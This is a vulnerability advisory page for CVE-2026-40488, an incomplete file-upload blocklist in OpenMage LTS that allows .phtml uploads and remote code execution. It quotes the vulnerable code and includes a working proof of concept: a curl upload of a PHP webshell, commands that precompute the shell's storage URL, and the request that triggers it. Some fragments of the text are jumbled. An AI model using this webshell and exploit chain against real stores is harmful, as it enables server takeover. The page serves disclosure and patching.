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CVE-2026-40488 is a high severity vulnerability with a CVSS score of 8.8. No known exploits currently, and patches are available.
Lower probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
The product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbidden_extensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/custom_options/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.
https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php_validateUploadedFile())app/code/core/Mage/Catalog/etc/config.xml:824The file upload handler uses Zend_File_Transfer_Adapter_Http directly with ExcludeExtension validator, referencing only:
<!-- Catalog/etc/config.xml:824 -->
<forbidden_extensions>php,exe</forbidden_extensions>
This misses the comprehensive protected_extensions blocklist defined elsewhere:
<!-- Core/etc/config.xml:449-478 -->
php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi,
htm, html, pht, phtml, shtml
// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
$upload->addValidator('Extension', false, $_allowed);
} else {
$_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
if ($_forbidden !== null) {
$upload->addValidator('ExcludeExtension', false, $_forbidden); // Only blocks php,exe!
}
}
| Vendor | Product |
|---|---|
| Openmage | Magento |
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)
# Upload .phtml (bypasses blocklist)
curl -X POST "https://target.com/vulnerable_upload.php" \
-F "[email protected];filename=shell.phtml"
Result: <img width="1563" height="733" alt="image" src="https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691" />
OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls:
Subdirectory — getDispretionPath($filename) takes the first two characters of the
uploaded filename and uses them as nested directory names:
filename = "shell.phtml" → s/ h/ → media/custom_options/quote/s/h/
Filename — md5(file_get_contents($tmp_name)) is computed over the raw bytes of the
uploaded payload (File.php:245):
// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245
$fileHash = md5(file_get_contents($fileInfo['tmp_name']));
$filePath = $dispersion . DS . $fileHash . '.' . $extension;
Because the attacker writes the webshell themselves, both the filename prefix and file contents are known before the upload request is sent. The full URL can be pre-computed:
SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h
```bash
curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"
Result: RCE Confirmed
| Configuration | Status |
|---------------|--------|
| Apache + mod_php (with php_flag engine 0) | SAFE |
| Apache + PHP-FPM | VULNERABLE |
| Nginx (reference hardened config) | SAFE |
| Nginx (generic config with .phtml→FPM) | VULNERABLE |